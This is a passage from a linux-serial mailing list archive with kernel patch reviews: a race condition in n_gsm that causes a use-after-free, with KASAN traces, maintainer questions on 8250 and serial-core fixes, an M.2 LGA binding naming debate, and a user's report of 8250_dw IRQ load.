[ 997.363387][ T46] Hardware name: QEMU Ubuntu 24.04 PC v2 (i440FX + PIIX, arch_caps fix, 1996), BIOS 1.16.3-debian-4
[ 997.365572][ T46] Workqueue: events_unbound flush_to_ldisc
[ 997.366642][ T46] Call Trace:
[ 997.367253][ T46] <TASK>
[ 997.367794][ T46] vpanic+0x6be/0x790
[ 997.368519][ T46] ? __pfx_vpanic+0x10/0x10
[ 997.369344][ T46] ? gsm_control_reply.isra.0+0x1b6/0x1d0
[ 997.370382][ T46] panic+0xc5/0xd0
[ 997.371056][ T46] ? __pfx_panic+0x10/0x10
[ 997.371887][ T46] ? preempt_schedule_common+0x42/0xc0
[ 997.372877][ T46] ? preempt_schedule_thunk+0x16/0x30
[ 997.373855][ T46] check_panic_on_warn+0x5c/0x80
[ 997.374749][ T46] end_report+0x13e/0x180
[ 997.375567][ T46] kasan_report+0xf4/0x120
[ 997.376377][ T46] ? gsm_control_reply.isra.0+0x1b6/0x1d0
[ 997.377406][ T46] gsm_control_reply.isra.0+0x1b6/0x1d0
[ 997.378417][ T46] gsm_dlci_command+0x8ab/0x16f0
[ 997.379312][ T46] ? __pfx_gsm_dlci_command+0x10/0x10
[ 997.380279][ T46] ? tty_buffer_free+0x100/0x200
[ 997.381192][ T46] ? gsm_queue+0x1f4/0x750
[ 997.381997][ T46] gsmld_receive_buf+0x170/0x270
[ 997.382886][ T46] ? tty_buffer_free+0x1ae/0x200
[ 997.383791][ T46] tty_ldisc_receive_buf+0xfd/0x1d0
[ 997.384736][ T46] ? tty_ldisc_ref+0x19/0x70
[ 997.385594][ T46] tty_port_default_receive_buf+0x5e/0x90
[ 997.386645][ T46] flush_to_ldisc+0x1dc/0x7a0
[ 997.387505][ T46] ? rcu_is_watching+0x12/0xc0
[ 997.388447][ T46] process_one_work+0x8fb/0x1c20
[ 997.389348][ T46] ? __pfx_process_one_work+0x10/0x10
[ 997.390338][ T46] ? __pfx_flush_to_ldisc+0x10/0x10
[ 997.391278][ T46] worker_thread+0x528/0xeb0
[ 997.392108][ T46] ? __pfx_worker_thread+0x10/0x10
[ 997.393052][ T46] kthread+0x30d/0x400
[ 997.393808][ T46] ? _raw_spin_unlock_irq+0x23/0x50
[ 997.394750][ T46] ? __pfx_kthread+0x10/0x10
[ 997.395594][ T46] ret_from_fork+0x5fb/0xa10
[ 997.396442][ T46] ? __pfx_ret_from_fork+0x10/0x10
[ 997.397375][ T46] ? __switch_to+0x57f/0xe20
[ 997.398196][ T46] ? __pfx_kthread+0x10/0x10
[ 997.399033][ T46] ret_from_fork_asm+0x1a/0x30
[ 997.399906][ T46] </TASK>
[ 997.401199][ T46] Kernel Offset: disabled
[ 997.401979][ T46] Rebooting in 86400 seconds..
```
^ permalink raw reply
* Re: [PATCH] tty: n_gsm: fix NULL deref of gsm->dlci[0] in control message handlers
From: Weiming Shi @ 2026-06-12 14:19 UTC (permalink / raw)
To: Greg Kroah-Hartman, Weiming Shi
Cc: Jiri Slaby, Daniel Starke, linux-kernel, linux-serial, Xiang Mei
In-Reply-To: <2026061101-hanky-uninstall-da53@gregkh>
On Fri Jun 12, 2026 at 2:50 AM CST, Greg Kroah-Hartman wrote:
> On Thu, Jun 11, 2026 at 11:32:18AM -0700, Weiming Shi wrote:
>> gsm_control_command() and gsm_control_reply() load gsm->dlci[0] and
>> immediately dereference dlci->ftype without checking it for NULL.
>>
>> On the receive path, gsm_queue() validates that gsm->dlci[0] is non-NULL
>> and DLCI_OPEN before invoking the control handler, but the value is not
>> held across that check: the receive worker runs from flush_to_ldisc()
>> without taking gsm->mutex, while a concurrent GSMIOC_SETCONF ioctl can
>> enter gsm_cleanup_mux(), which takes gsm->mutex, releases gsm->dlci[0]
>> and sets it to NULL. If the mux is torn down between gsm_queue()'s check
>> and the re-load inside gsm_control_command()/gsm_control_reply(), the
>> handler dereferences a NULL dlci.
>>
>> A peer that drives DLCI 0 control frames (e.g. CMD_TEST) while the mux
>> owner reconfigures the line discipline can therefore crash the kernel
>> (line numbers from decode_stacktrace.sh against the crashing build):
>>
>> Oops: general protection fault, probably for non-canonical address
>> KASAN: null-ptr-deref in range [0x0000000000000208-0x000000000000020f]
>> RIP: 0010:gsm_control_reply (drivers/tty/n_gsm.c:1497)
>> Call Trace:
>> gsm_dlci_command (drivers/tty/n_gsm.c:2482)
>> gsm_queue.part.0 (drivers/tty/n_gsm.c:2852)
>> gsm0_receive (drivers/tty/n_gsm.c:2972)
>> gsmld_receive_buf (drivers/tty/n_gsm.c:3629)
>> tty_ldisc_receive_buf (drivers/tty/tty_buffer.c:391)
>> tty_port_default_receive_buf (drivers/tty/tty_port.c:39)
>> flush_to_ldisc (drivers/tty/tty_buffer.c:495)
>> process_one_work
>> worker_thread
>> kthread
>>
>> The other callers of these helpers (the keep-alive and negotiation timer
>> paths) already guard the gsm->dlci[0] access; only the receive path is
>> unguarded. The CMD_CLD handler in the same switch already checks the
>> loaded dlci for NULL for the very same reason. Bail out early when
>> gsm->dlci[0] has been cleared instead of dereferencing it.
>>
>> Triggering this requires CAP_NET_ADMIN to attach the n_gsm line
>> discipline (gsmld_open() uses capable(), not ns_capable()), so it is a
>> local denial of service for a privileged mux owner racing its own
>> control channel; harden the handlers regardless.
>>
>> Fixes: 5767712668b8 ("tty: n_gsm: cleanup gsm_control_command and gsm_control_reply")
>> Reported-by: Xiang Mei <xmei5@asu.edu>
>> Assisted-by: Claude:claude-opus-4-8
>> Signed-off-by: Weiming Shi <bestswngs@gmail.com>
>> ---
>> drivers/tty/n_gsm.c | 6 ++++++
>> 1 file changed, 6 insertions(+)
>>
>> diff --git a/drivers/tty/n_gsm.c b/drivers/tty/n_gsm.c
>> index 214abeb89aaa..860cfb91d510 100644
>> --- a/drivers/tty/n_gsm.c
>> +++ b/drivers/tty/n_gsm.c
>> @@ -1457,6 +1457,9 @@ static int gsm_control_command(struct gsm_mux *gsm, int cmd, const u8 *data,
>> struct gsm_msg *msg;
>> struct gsm_dlci *dlci = gsm->dlci[0];
>>
>> + if (!dlci)
>> + return -EINVAL;
>
> What precents dlci from being NULL right after you check this?
>
> thanks,
>
> greg k-h
Hi greg,
I'm sorry for taking so long to respond.
After a closer look I think your review is correct.
The real problem is that the receive path touches gsm->dlci[] with no
lock. The teardown side holds gsm->mutex while it releases and frees the
dlci, but the receive worker does not: gsm_queue() loads
dlci = gsm->dlci[address] while it is still valid and passes it down
through dlci->data() to gsm_control_command()/gsm_control_reply(), which
also re-read gsm->dlci[0] and dereference dlci->ftype.
Meanwhile GSMIOC_SETCONF -> gsm_cleanup_mux() takes gsm->mutex, closes
DLCI0 and drops its reference via gsm_dlci_release(); the final
tty_port_put() runs the gsm_dlci_free() destructor, which clears the slot
and frees the object:
```
dlci->gsm->dlci[dlci->addr] = NULL;
kfree(dlci);
```
If that happens while the worker is still in the dispatch above, it ends
up dereferencing the freed dlci. I can reproduce this as a use-after-free:
```
[ 997.227486][ T46] BUG: KASAN: slab-use-after-free in gsm_control_reply.isra.0 (drivers/tty/n_gsm.c:1162 drivers/tty/n_gsm.c:1494)
[ 997.229052][ T46] Read of size 8 at addr ffff888029ae9000 by task kworker/u16:2/46
[ 997.230517][ T46]
[ 997.230952][ T46] CPU: 1 UID: 0 PID: 46 Comm: kworker/u16:2 Not tainted 7.1.0-rc7 #1 PREEMPT(full)
[ 997.230958][ T46] Hardware name: QEMU Ubuntu 24.04 PC v2 (i440FX + PIIX, arch_caps fix, 1996), BIOS 1.16.3-debian-4
[ 997.230961][ T46] Workqueue: events_unbound flush_to_ldisc
[ 997.230969][ T46] Call Trace:
[ 997.230972][ T46] <TASK>
[ 997.230974][ T46] dump_stack_lvl (lib/dump_stack.c:94 lib/dump_stack.c:120)
[ 997.230990][ T46] print_report (mm/kasan/report.c:378 mm/kasan/report.c:482)
[ 997.231008][ T46] kasan_report (mm/kasan/report.c:595)
[ 997.231016][ T46] gsm_control_reply.isra.0 (drivers/tty/n_gsm.c:1162 drivers/tty/n_gsm.c:1494)
[ 997.231020][ T46] gsm_dlci_command (drivers/tty/n_gsm.c:1873 drivers/tty/n_gsm.c:2477)
[ 997.231036][ T46] gsmld_receive_buf (drivers/tty/n_gsm.c:3616)
[ 997.231044][ T46] tty_ldisc_receive_buf (drivers/tty/tty_buffer.c:398)
[ 997.231052][ T46] tty_port_default_receive_buf (drivers/tty/tty_port.c:37)
[ 997.231056][ T46] flush_to_ldisc (drivers/tty/tty_buffer.c:452 drivers/tty/tty_buffer.c:502)
[ 997.231066][ T46] process_one_work (kernel/workqueue.c:3314)
[ 997.231082][ T46] worker_thread (kernel/workqueue.c:3397 kernel/workqueue.c:3478)
[ 997.231091][ T46] kthread (kernel/kthread.c:436)
[ 997.231103][ T46] ret_from_fork (arch/x86/kernel/process.c:158)
[ 997.231120][ T46] ret_from_fork_asm (arch/x86/entry/entry_64.S:245)
[ 997.231128][ T46] </TASK>
[ 997.231130][ T46]
[ 997.267905][ T46] Allocated by task 5110:
[ 997.268716][ T46] kasan_save_stack (mm/kasan/common.c:57)
[ 997.269595][ T46] kasan_save_track (mm/kasan/common.c:78)
[ 997.270483][ T46] __kasan_kmalloc (mm/kasan/common.c:398 mm/kasan/common.c:415)
[ 997.271353][ T46] gsm_dlci_alloc (./include/linux/slab.h:950 ./include/linux/slab.h:1188 drivers/tty/n_gsm.c:2648)
[ 997.272203][ T46] gsm_activate_mux (drivers/tty/n_gsm.c:3189)
[ 997.273109][ T46] gsmld_ioctl (drivers/tty/n_gsm.c:3443 drivers/tty/n_gsm.c:3846)
[ 997.273981][ T46] tty_ioctl (drivers/tty/tty_io.c:2801)
[ 997.274789][ T46] __x64_sys_ioctl (fs/ioctl.c:51 fs/ioctl.c:597 fs/ioctl.c:583 fs/ioctl.c:583)
[ 997.275682][ T46] do_syscall_64 (arch/x86/entry/syscall_64.c:63 arch/x86/entry/syscall_64.c:94)
[ 997.276544][ T46] entry_SYSCALL_64_after_hwframe (arch/x86/entry/entry_64.S:121)
[ 997.277658][ T46]
[ 997.278108][ T46] Freed by task 5110:
[ 997.278865][ T46] kasan_save_stack (mm/kasan/common.c:57)
[ 997.279740][ T46] kasan_save_track (mm/kasan/common.c:78)
[ 997.280615][ T46] kasan_save_free_info (mm/kasan/generic.c:584)
[ 997.281554][ T46] __kasan_slab_free (mm/kasan/common.c:253 mm/kasan/common.c:285)
[ 997.282435][ T46] kfree (./include/linux/kasan.h:235 mm/slub.c:2689 mm/slub.c:6251 mm/slub.c:6566)
[ 997.283159][ T46] gsm_cleanup_mux (drivers/tty/n_gsm.c:2711 drivers/tty/n_gsm.c:2744 drivers/tty/n_gsm.c:3161)
[ 997.284050][ T46] gsmld_ioctl (drivers/tty/n_gsm.c:3415 drivers/tty/n_gsm.c:3846)
[ 997.284928][ T46] tty_ioctl (drivers/tty/tty_io.c:2801)
[ 997.285746][ T46] __x64_sys_ioctl (fs/ioctl.c:51 fs/ioctl.c:597 fs/ioctl.c:583 fs/ioctl.c:583)
[ 997.286653][ T46] do_syscall_64 (arch/x86/entry/syscall_64.c:63 arch/x86/entry/syscall_64.c:94)
[ 997.287526][ T46] entry_SYSCALL_64_after_hwframe (arch/x86/entry/entry_64.S:121)
[ 997.288639][ T46]
```
The NULL deref I reported is the same unguarded access on the same
path, just hitting the window after the slot is already cleared. Either
way a NULL check in the handlers can't fix it, since in the UAF case dlci
isn't NULL.
I think the fix should serialize the receive side against
gsm_cleanup_mux() instead of checking in the handlers. Two ways I can see:
1. take gsm->mutex around the dlci lookup and dispatch in gsm_queue(), or
2. pin the dlci across the dispatch using its existing tty_port ref
(dlci_get/dlci_put), so gsm_dlci_free() can't run while it's in use.
Do you have a preference, or is there a pattern in n_gsm you'd rather I
use? I'll respin v2 once I know which way to go.
And I'll send the reproducer and the config to trigger it in a separate mail.
Thanks,
Weiming
^ permalink raw reply
* Re: [PATCH] tty: serial: core: fix NULL pointer deref in uart_resume_port()
From: Greg Kroah-Hartman @ 2026-06-12 10:01 UTC (permalink / raw)
To: Weiming Shi; +Cc: Jiri Slaby, linux-kernel, linux-serial, Xiang Mei
In-Reply-To: <20260608165223.70148-1-bestswngs@gmail.com>
On Mon, Jun 08, 2026 at 09:52:17AM -0700, Weiming Shi wrote:
> uart_resume_port() looks up the tty device child with device_find_child()
> and passes the result straight to device_may_wakeup(). device_find_child()
> returns NULL when the port has no matching tty device child,
How can that happen in a real system? Have you triggered this before,
if so, what hardware does it?
> and
> device_may_wakeup() dereferences dev->power.can_wakeup, so a NULL tty_dev
> faults. uart_suspend_port() already guards the same call with
> "tty_dev && device_may_wakeup(tty_dev)"; the resume path does not.
>
> Oops: general protection fault, probably for non-canonical address
> KASAN: null-ptr-deref in range [0x148-0x14f]
> RIP: 0010:uart_resume_port (pm_wakeup.h:84 serial_core.c:2477)
> serial_pnp_resume (8250/8250_pnp.c:522)
> pnp_bus_resume (drivers/pnp/driver.c:234)
Is this a real oops, or a made up one?
> Mirror the NULL guard from uart_suspend_port(). put_device(tty_dev)
> already tolerates a NULL argument, so only the device_may_wakeup() call
> needs the check; the non-NULL path is unchanged.
>
> Fixes: b3b708fa2780 ("wake up from a serial port")
> Reported-by: Xiang Mei <xmei5@asu.edu>
Where was this reported?
Why isn't this cc: stable? And why hasn't anyone tripped over it in the
past 19 years?
thanks,
greg k-h
^ permalink raw reply
* Re: [PATCH v4] serial: 8250: fix use-after-free in IRQ chain handling
From: Greg Kroah-Hartman @ 2026-06-12 9:49 UTC (permalink / raw)
To: Qiliang Yuan
Cc: Jiri Slaby, Anton Vorontsov, Alan Cox, linux-kernel, linux-serial,
Wang Zhaolong
In-Reply-To: <20260529-bug-221579-8250-shared-irq-race-v4-1-cfda63b4420f@gmail.com>
On Fri, May 29, 2026 at 04:23:34PM +0800, Qiliang Yuan wrote:
> serial_unlink_irq_chain() holds hash_mutex and calls free_irq() + kfree(i)
> when it sees an empty port list. serial_link_irq_chain() released
> hash_mutex after serial_get_or_create_irq_info() but before acquiring
> i->lock. This gap allowed a concurrent unlink to observe list_empty()
> as true while a new port was still being added, free i, and trigger a
> use-after-free.
>
> Dropping hash_mutex before request_irq() completes also allows another
> port sharing the same IRQ to join the chain and run the shared-IRQ THRE
> test while IRQ startup is still in progress, which can also trigger the
> "Unbalanced enable for IRQ" warning (kernel/irq/manage.c:774) because
> irq_shutdown() in the premature free_irq() path increments desc->depth,
> breaking the disable_irq/enable_irq pairing in serial8250_THRE_test().
>
> Fix by pulling hash_mutex into serial_link_irq_chain() and holding it
> across the first request_irq() completion (including the error path)
> so that no concurrent unlink or second-port join can race with IRQ
> setup or cleanup.
> serial_unlink_irq_chain() already holds hash_mutex throughout, so the
> race window is closed.
What real systems causes this to happen? How are you triggering this
warning to happen? How was this tested?
>
> Fixes: 768aec0b5bcc ("serial: 8250: fix shared interrupts issues with SMP and RT kernels")
> Reported-by: Wang Zhaolong <wangzhaolong@fnnas.com>
> Closes: https://bugzilla.kernel.org/show_bug.cgi?id=221579
> Signed-off-by: Qiliang Yuan <realwujing@gmail.com>
> ---
> V3 -> V4:
> - Move cleanup under hash_mutex on request_irq() failure to prevent a
> second port from joining the chain before the irq_info is cleaned up.
> - Fix inaccurate description of irq_shutdown() in commit message.
>
> V2 -> V3:
> - Hold hash_mutex across the first request_irq() completion to prevent a
> second port from joining the chain and running the shared-IRQ THRE test
> while IRQ startup is still in progress.
>
> V1 -> V2:
> - Add Reported-by tag from Wang Zhaolong.
>
> v3: https://lore.kernel.org/r/20260529-bug-221579-8250-shared-irq-race-v3-1-fe4d430862a9@gmail.com
> v2: https://lore.kernel.org/r/20260528-bug-221579-8250-shared-irq-race-v2-1-06531202e54d@gmail.com
> v1: https://lore.kernel.org/r/20260528-bug-221579-8250-shared-irq-race-v1-1-30980cca02f3@gmail.com
> ---
> drivers/tty/serial/8250/8250_core.c | 55 ++++++++++++++++++++++++++++---------
> 1 file changed, 42 insertions(+), 13 deletions(-)
>
> diff --git a/drivers/tty/serial/8250/8250_core.c b/drivers/tty/serial/8250/8250_core.c
> index a428e88938eb7..70d5acfa591bf 100644
> --- a/drivers/tty/serial/8250/8250_core.c
> +++ b/drivers/tty/serial/8250/8250_core.c
> @@ -134,7 +134,7 @@ static struct irq_info *serial_get_or_create_irq_info(const struct uart_8250_por
> {
> struct irq_info *i;
>
> - guard(mutex)(&hash_mutex);
> + lockdep_assert_held(&hash_mutex);
Shouldn't the function be marked as requiring this lock to be held?
Just putting in this lockdep_assert will not catch the static analysis
tools :(
thanks,
greg k-h
^ permalink raw reply
* Re: [PATCH v6 6/9] dt-bindings: connector: m2: Add M.2 1620 LGA soldered down connector
From: Dmitry Baryshkov @ 2026-06-12 7:50 UTC (permalink / raw)
To: Manivannan Sadhasivam
Cc: Stephan Gerhold, Mark Pearson, Rob Herring, Manivannan Sadhasivam,
Greg KH, Jiri Slaby, Nathan Chancellor, Nicolas Schier,
Hans de Goede, Ilpo Järvinen, Derek J . Clark,
Krzysztof Kozlowski, Conor Dooley, Marcel Holtmann,
Luiz Augusto von Dentz, Bartosz Golaszewski, Andy Shevchenko,
Bartosz Golaszewski, linux-serial, linux-kernel, linux-kbuild,
platform-driver-x86@vger.kernel.org, linux-pci, devicetree,
linux-arm-msm, linux-bluetooth, linux-pm,
linux-acpi@vger.kernel.org
In-Reply-To: <eftahohsx3bbvmgxuciofjjcrybnsm2qc752hwyt65rb2uwaon@h32nh5fcpo7p>
On Wed, Jun 10, 2026 at 06:44:59PM +0200, Manivannan Sadhasivam wrote:
> On Tue, Mar 31, 2026 at 06:29:51PM +0200, Stephan Gerhold wrote:
> > On Wed, Mar 25, 2026 at 05:36:08PM +0530, Manivannan Sadhasivam wrote:
> > > On Mon, Mar 23, 2026 at 01:23:07PM -0400, Mark Pearson wrote:
> > > > On Mon, Mar 23, 2026, at 12:52 PM, Manivannan Sadhasivam wrote:
> > > > > On Mon, Mar 23, 2026 at 06:45:15PM +0200, Dmitry Baryshkov wrote:
> > > > >> On Mon, Mar 23, 2026 at 09:26:04PM +0530, Manivannan Sadhasivam wrote:
> > > > >> > On Mon, Mar 23, 2026 at 05:14:30PM +0200, Dmitry Baryshkov wrote:
> > > > >> > > On Mon, Mar 23, 2026 at 07:14:25PM +0530, Manivannan Sadhasivam wrote:
> > > > >> > > > On Mon, Mar 23, 2026 at 08:39:55AM -0500, Rob Herring wrote:
> > > > >> > > > > On Mon, Mar 23, 2026 at 7:16 AM Manivannan Sadhasivam <mani@kernel.org> wrote:
> > > > >> > > > > >
> > > > >> > > > > > On Sun, Mar 22, 2026 at 06:37:13PM -0500, Rob Herring wrote:
> > > > >> > > > > > > On Tue, Mar 17, 2026 at 09:59:56AM +0530, Manivannan Sadhasivam wrote:
> > > > >> > > > > > > > Lenovo Thinkpad T14s is found to have a soldered down version of M.2 1620
> > > > >> > > > > > > > LGA connector. Though, there is no 1620 LGA form factor defined in the M.2
> > > > >> > > > > > > > spec, it looks very similar to the M.2 Key E connector. So add the
> > > > >> > > > > > > > "pcie-m2-1620-lga-connector" compatible with "pcie-m2-e-connector" fallback
> > > > >> > > > > > > > to reuse the Key E binding.
> > > > >> > > > > > >
> > > > >> > > > > > > What is LGA?
> > > > >> > > > > > >
> > > > >> > > > > >
> > > > >> > > > > > Land Grid Array
> > > > >> > > > > >
> > > > >> > > > > > > If not in the spec, is it really something generic?
> > > > >> > > > > > >
> > > > >> > > > > >
> > > > >> > > > > > Good question. Yes and No! LGA is not something that Lenovo only uses. Other
> > > > >> > > > > > vendors may also use this form factor. PCIe connectors are full of innovation as
> > > > >> > > > > > the spec gives room for hardware designers to be as innovative as possible to
> > > > >> > > > > > save the BOM cost.
> > > > >> > > > >
> > > > >> > > > > innovation == incompatible changes
> > > > >> > > > >
> > > > >> > > >
> > > > >> > > > Yes, I was trying to sound nice :)
> > > > >> > > >
> > > > >> > > > > > This is why I do not want to make it Lenovo specific. But if you prefer that, I
> > > > >> > > > > > can name it as "lenovo,pcie-m2-1620-lga-connector".
> > > > >> > > > >
> > > > >> > > > > Depends if you think that s/w needs to know the differences. Hard to
> > > > >> > > > > say with a sample size of 1.
> > > > >> > > > >
> > > > >> > > >
> > > > >> > > > Sure. Will add the 'lenovo' prefix then.
> > > > >> > >
> > > > >> > > Is it really Lenovo? Or is it some other module vendor, whose LGAs are
> > > > >> > > being used by Lenovo?
> > > > >> > >
> > > > >> > > I remember that DB820c also used some kind of a module for the WiFi card
> > > > >> > > (which might be M.2 compatible or might not, I can't find exact docs at
> > > > >> > > this point).
> > > > >> > >
> > > > >> >
> > > > >> > I don't know. These kind of designs might be reused by several vendors. But
> > > > >> > considering that we should not make it generic, I'd go with Lenovo as that's
> > > > >> > the only vendor we know as of now.
> > > > >>
> > > > >> ... and later we learn that other vendors use the same idea /pinout,
> > > > >> then nothing stops us from still telling that it's a
> > > > >> "lenovo,pcie-m2-something-lga".
> > > > >>
> > > > >
> > > > > How do you possibly know whether a single vendor has introduced this form factor
> > > > > or reused by multiple ones? Atleast, I don't have access to such a source to
> > > > > confirm.
> > > > >
> > > > I've not really been following this thread/patchset in detail; but want me to try and check with the T14s platform team if this device is specifically made for us (Lenovo) or not?
> > > > I doubt it is - we just don't do that usually, but I can go and ask the question if it will help resolve this (with the caveat that it could hold up the review for a bit and I may not be able to get a straight answer)
> > > >
> > >
> > > I can drop this specific patch in the meantime.
> > >
> > > > My vote (for what little it's worth) would be to make it non-Lenovo specific. Then when the same part causes issues on another vendors platform I won't get asked questions about why Lenovo is breaking <other vendor> :)
> > > >
> > >
> > > Even if Lenovo prefix is used, it won't break other vendors. Just that we will
> > > end up adding more compatibles.
> > >
> > > Anyhow, I'll wait for your reply and drop this patch for next revision.
> > >
> >
> > If you need a vendor prefix, I think "qcom," would be more appropriate
> > than Lenovo. This form factor is used by most vendors for recent
> > soldered Qualcomm-based wireless cards, not just Lenovo:
> >
> > - Dell XPS 13 9345 has exactly the same soldered M.2 card, I assume
> > there are several other vendors as well.
> >
> > - https://www.sparklan.com/product/wnsq-290be/ is a third-party
> > (Qualcomm-based) M.2 LGA 1620 card, in the block diagram the
> > pinout is called "QM.2 1620 LGA 168pin".
> >
> > - If you press F9 while booting the ThinkPad T14s, you should get to a
> > screen with "Regulatory Information". For the T14s, this screen says
> > "Contains FCC ID: J9C-QCNCM825". This is the WiFi/BT module in the
> > soldered form factor. If you look that up on the FCC website, the
> > applicant for this module is "Qualcomm Technologies, Inc.". This
> > seems to be some kind of "modular certification" that vendors can
> > reuse/adapt without going through the whole process again.
> >
> > Perhaps you should ask around inside Qualcomm? :-)
> >
>
> Sorry for getting back after this long. I did ask around, but our HW folks are
> saying that Qcom is not the first one to use LGA M.2 modules. They claim that
> other vendors also do that.
I think, the idea was that there is no single standard for LGA modules
(please correct me if I'm wrong, I haven't checked the latest PCIe
standards).
>
> But for this specific card, it should be fine to use the 'qcom' prefix as
> apparently the module was supplied by Qcom.
>
> I'll submit the bindings patch together with DTS change for T14s.
>
> - Mani
>
> --
> மணிவண்ணன் சதாசிவம்
--
With best wishes
Dmitry
^ permalink raw reply
* 8250_dw system pause due to IRQ load
From: Craig McQueen @ 2026-06-12 5:38 UTC (permalink / raw)
To: linux-serial@vger.kernel.org
I have a Rockchip RK3328 based embedded Linux system, using the 8250_dw driver (device tree "snps,dw-apb-uart") for serial console and other serial ports. I'm using Yocto scarthgap with kernel v6.6.123.
It is talking to a microprocessor via a serial protocol at 921600 bps. Multiple times per hour, I see the serial protocol TX pause for 100 to 4500 ms. Usually the whole Linux system pauses during this time (realtime and monotonic clocks don't tick). mpstat shows high irq load. /proc/interrupts shows the 8250_dw interrupt count is going significantly higher during this time.
I'm also seeing complete system lock-ups occur every 1 to 72 hours, with no diagnostic information shown in the kernel serial console output.
Are there any known issues with the 8250_dw interrupt handler causing high CPU load, that I should try backporting to kernel v6.6?
I've written some kernel drivers, but I have no experience debugging interrupt handler issues, especially when it's an issue that prevents the kernel doing console output. I would appreciate any advice on kernel facilities that are suitable to debug this type of bug.
--
Craig McQueen
^ permalink raw reply
* Re: [PATCH] tty: n_gsm: fix NULL deref of gsm->dlci[0] in control message handlers
From: Greg Kroah-Hartman @ 2026-06-11 18:50 UTC (permalink / raw)
To: Weiming Shi
Cc: Jiri Slaby, Daniel Starke, linux-kernel, linux-serial, Xiang Mei
In-Reply-To: <20260611183217.2488508-2-bestswngs@gmail.com>
On Thu, Jun 11, 2026 at 11:32:18AM -0700, Weiming Shi wrote:
> gsm_control_command() and gsm_control_reply() load gsm->dlci[0] and
> immediately dereference dlci->ftype without checking it for NULL.
>
> On the receive path, gsm_queue() validates that gsm->dlci[0] is non-NULL
> and DLCI_OPEN before invoking the control handler, but the value is not
> held across that check: the receive worker runs from flush_to_ldisc()
> without taking gsm->mutex, while a concurrent GSMIOC_SETCONF ioctl can
> enter gsm_cleanup_mux(), which takes gsm->mutex, releases gsm->dlci[0]
> and sets it to NULL. If the mux is torn down between gsm_queue()'s check
> and the re-load inside gsm_control_command()/gsm_control_reply(), the
> handler dereferences a NULL dlci.
>
> A peer that drives DLCI 0 control frames (e.g. CMD_TEST) while the mux
> owner reconfigures the line discipline can therefore crash the kernel
> (line numbers from decode_stacktrace.sh against the crashing build):
>
> Oops: general protection fault, probably for non-canonical address
> KASAN: null-ptr-deref in range [0x0000000000000208-0x000000000000020f]
> RIP: 0010:gsm_control_reply (drivers/tty/n_gsm.c:1497)
> Call Trace:
> gsm_dlci_command (drivers/tty/n_gsm.c:2482)
> gsm_queue.part.0 (drivers/tty/n_gsm.c:2852)
> gsm0_receive (drivers/tty/n_gsm.c:2972)
> gsmld_receive_buf (drivers/tty/n_gsm.c:3629)
> tty_ldisc_receive_buf (drivers/tty/tty_buffer.c:391)
> tty_port_default_receive_buf (drivers/tty/tty_port.c:39)
> flush_to_ldisc (drivers/tty/tty_buffer.c:495)
> process_one_work
> worker_thread
> kthread
>
> The other callers of these helpers (the keep-alive and negotiation timer
> paths) already guard the gsm->dlci[0] access; only the receive path is
> unguarded. The CMD_CLD handler in the same switch already checks the
> loaded dlci for NULL for the very same reason. Bail out early when
> gsm->dlci[0] has been cleared instead of dereferencing it.
>
> Triggering this requires CAP_NET_ADMIN to attach the n_gsm line
> discipline (gsmld_open() uses capable(), not ns_capable()), so it is a
> local denial of service for a privileged mux owner racing its own
> control channel; harden the handlers regardless.
>
> Fixes: 5767712668b8 ("tty: n_gsm: cleanup gsm_control_command and gsm_control_reply")
> Reported-by: Xiang Mei <xmei5@asu.edu>
> Assisted-by: Claude:claude-opus-4-8
> Signed-off-by: Weiming Shi <bestswngs@gmail.com>
> ---
> drivers/tty/n_gsm.c | 6 ++++++
> 1 file changed, 6 insertions(+)
>
> diff --git a/drivers/tty/n_gsm.c b/drivers/tty/n_gsm.c
> index 214abeb89aaa..860cfb91d510 100644
> --- a/drivers/tty/n_gsm.c
> +++ b/drivers/tty/n_gsm.c
> @@ -1457,6 +1457,9 @@ static int gsm_control_command(struct gsm_mux *gsm, int cmd, const u8 *data,
> struct gsm_msg *msg;
> struct gsm_dlci *dlci = gsm->dlci[0];
>
> + if (!dlci)
> + return -EINVAL;
What precents dlci from being NULL right after you check this?
thanks,
greg k-h
^ permalink raw reply
* [PATCH] tty: n_gsm: fix NULL deref of gsm->dlci[0] in control message handlers
From: Weiming Shi @ 2026-06-11 18:32 UTC (permalink / raw)
To: Greg Kroah-Hartman, Jiri Slaby
Cc: Daniel Starke, linux-kernel, linux-serial, Xiang Mei, Weiming Shi
gsm_control_command() and gsm_control_reply() load gsm->dlci[0] and
immediately dereference dlci->ftype without checking it for NULL.
On the receive path, gsm_queue() validates that gsm->dlci[0] is non-NULL
and DLCI_OPEN before invoking the control handler, but the value is not
held across that check: the receive worker runs from flush_to_ldisc()
without taking gsm->mutex, while a concurrent GSMIOC_SETCONF ioctl can
enter gsm_cleanup_mux(), which takes gsm->mutex, releases gsm->dlci[0]
and sets it to NULL. If the mux is torn down between gsm_queue()'s check
and the re-load inside gsm_control_command()/gsm_control_reply(), the
handler dereferences a NULL dlci.
A peer that drives DLCI 0 control frames (e.g. CMD_TEST) while the mux
owner reconfigures the line discipline can therefore crash the kernel
(line numbers from decode_stacktrace.sh against the crashing build):
Oops: general protection fault, probably for non-canonical address
KASAN: null-ptr-deref in range [0x0000000000000208-0x000000000000020f]
RIP: 0010:gsm_control_reply (drivers/tty/n_gsm.c:1497)
Call Trace:
gsm_dlci_command (drivers/tty/n_gsm.c:2482)
gsm_queue.part.0 (drivers/tty/n_gsm.c:2852)
gsm0_receive (drivers/tty/n_gsm.c:2972)
gsmld_receive_buf (drivers/tty/n_gsm.c:3629)
tty_ldisc_receive_buf (drivers/tty/tty_buffer.c:391)
tty_port_default_receive_buf (drivers/tty/tty_port.c:39)
flush_to_ldisc (drivers/tty/tty_buffer.c:495)
process_one_work
worker_thread
kthread
The other callers of these helpers (the keep-alive and negotiation timer
paths) already guard the gsm->dlci[0] access; only the receive path is
unguarded. The CMD_CLD handler in the same switch already checks the
loaded dlci for NULL for the very same reason. Bail out early when
gsm->dlci[0] has been cleared instead of dereferencing it.
Triggering this requires CAP_NET_ADMIN to attach the n_gsm line
discipline (gsmld_open() uses capable(), not ns_capable()), so it is a
local denial of service for a privileged mux owner racing its own
control channel; harden the handlers regardless.
Fixes: 5767712668b8 ("tty: n_gsm: cleanup gsm_control_command and gsm_control_reply")
Reported-by: Xiang Mei <xmei5@asu.edu>
Assisted-by: Claude:claude-opus-4-8
Signed-off-by: Weiming Shi <bestswngs@gmail.com>
---
drivers/tty/n_gsm.c | 6 ++++++
1 file changed, 6 insertions(+)
diff --git a/drivers/tty/n_gsm.c b/drivers/tty/n_gsm.c
index 214abeb89aaa..860cfb91d510 100644
